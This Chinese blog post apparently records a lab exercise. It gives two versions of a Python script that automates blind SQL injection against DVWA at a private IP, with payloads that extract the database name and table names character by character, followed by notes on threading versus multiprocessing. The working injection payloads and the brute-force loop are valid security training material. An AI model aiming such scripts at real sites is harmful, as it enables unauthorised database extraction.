编辑
2024-05-15
Python
00
请注意,本文编写于 265 天前,最后修改于 249 天前,其中某些信息可能已经过时。

目录

新版本
旧版本
多线程(Threading)
优点:
缺点:
多进程(Multiprocessing)
优点:
缺点:
选择建议:

加入多线程&多进程

新版本

python
import concurrent.futures import requests from bs4 import BeautifulSoup def run_code(demot): texterr = "User ID is MISSING from the database." base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/" session_id = "8tuabbh2e1oiv0c2flpn3jbvk4" params = {"id": demot, "Submit": "Submit"} cookies = {"PHPSESSID": session_id, "security": "low"} response = requests.get(base_url, params=params, cookies=cookies) print(response.status_code) soup = BeautifulSoup(response.text, "html.parser") search_results = soup.find_all("pre") print(search_results) print(demot) for result in search_results: text = result.text.strip() print(text) if (text != texterr) and ("User ID exists in the database." in text): with open("example.txt", "a") as file: file.write(demot + "\n") # 多线程运行 # if __name__ == "__main__": # demots = list(range(1, 200)) # 保存所有需要运行的demot # max_threads = 10 # 最大线程数 # with concurrent.futures.ThreadPoolExecutor(max_workers=max_threads) as executor: # for i in range(1, 6): # for demo in range(1, 128): # demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #" # executor.submit(run_code, demot) # 多进程 if __name__ == "__main__": max_processes = 60 with concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor: for i in range(1, 6): for demo in range(1, 128): # demot = f"1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),{i},1)) = {demo}) #" demot = f"1'and ord(substr(database(),{i},1))= {demo} #" executor.submit(run_code, demot)

旧版本

python
import requests from bs4 import BeautifulSoup texterr = "User ID is MISSING from the database." base_url = "http://192.168.236.20/dvwa/vulnerabilities/sqli_blind/" session_id = "sb35jegkjt33kjgovvptbua022" for i in range(1, 5): for demo in range(1, 128): demot = f"1' and ord(substr(database(), {i}, 1)) = {demo} #" params = {"id": demot, "Submit": "Submit"} cookies = {"PHPSESSID": session_id, "security": "low"} response = requests.get(base_url, params=params, cookies=cookies) soup = BeautifulSoup(response.text, "html.parser") search_results = soup.find_all("pre") for result in search_results: text = result.text.strip() print(demot) if (text != texterr) and ("User ID exists in the database." in text): with open("example.txt", "a") as file: file.write(demot + "\n") break
  1. 导入了requests和BeautifulSoup模块,分别用于发送HTTP请求和解析HTML页面。
  2. 定义了一个错误信息变量texterr,以及目标网站的基本URL和会话ID。
  3. 使用嵌套循环,遍历数据库名称1-4的ASCII码。
  4. 构造Payload字符串demot,然后将其作为参数发送到目标网址。
  5. 从响应中解析出页面内容,然后在页面中查找包含响应文本的标签(pre)的内容。
  6. 检查每个找到的结果,如果文本不等于错误信息并且包含指定提示,则将查询字符串写入到文件"example.txt"中,并且停止当前循环。
  7. 由于在实际测试中测试Payload会返回一个404响应,但其并不影响页面的返回,故没有设置检查响应码

相关信息

新版本使用了concurrent.futures.ProcessPoolExecutor(max_workers=max_processes) as executor 创建了一个进程池执行器(ProcessPoolExecutor),设置最大工作进程数为max_processes

来达到加速测试的效果

以下是对python的多线程和多进程的优劣关系和应用场景的解释

多线程(Threading)

优点:

  • 轻量级:线程的创建和销毁比进程快,资源消耗较少。
  • 共享内存:线程间可以共享内存,数据传输简单。
  • I/O密集型:如果爬虫主要受限于网络I/O,多线程可以有效地利用等待时间来执行其他任务。

缺点:

  • 全局解释器锁(GIL):Python的CPython实现中的GIL限制了同一时间只能有一个线程执行,这意味着多线程并不能有效利用多核CPU进行并行计算。
  • 资源限制:操作系统对线程的数量有限制,过多的线程可能导致效率降低。

多进程(Multiprocessing)

优点:

  • 绕过GIL:每个进程有自己的Python解释器和内存空间,可以绕过GIL的限制,实现真正的并行执行。
  • CPU密集型:如果爬虫任务是CPU密集型的,多进程可以更好地利用多核处理器。
  • 稳定性:进程间相互独立,一个进程崩溃不会影响其他进程。

缺点:

  • 资源消耗:进程的创建和销毁比线程慢,消耗的资源更多。
  • 进程间通信(IPC):进程间需要通过IPC进行通信,这比线程间共享内存复杂。
  • 数据共享:进程间共享数据不如线程间方便,需要使用特定的IPC机制。

选择建议:

  • I/O密集型任务:如果爬虫主要受限于网络请求和响应时间,多线程可能更合适,因为它可以更有效地利用等待时间。
  • CPU密集型任务:如果爬虫涉及到大量的数据处理,多进程可能更合适,因为它可以利用多核CPU进行并行处理。
  • 爬虫规模:对于大规模的爬虫,多进程可能更有利于扩展和管理。
  • 开发和维护成本:多线程相对简单,但多进程虽然复杂但更稳定。

本文作者:Casear

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!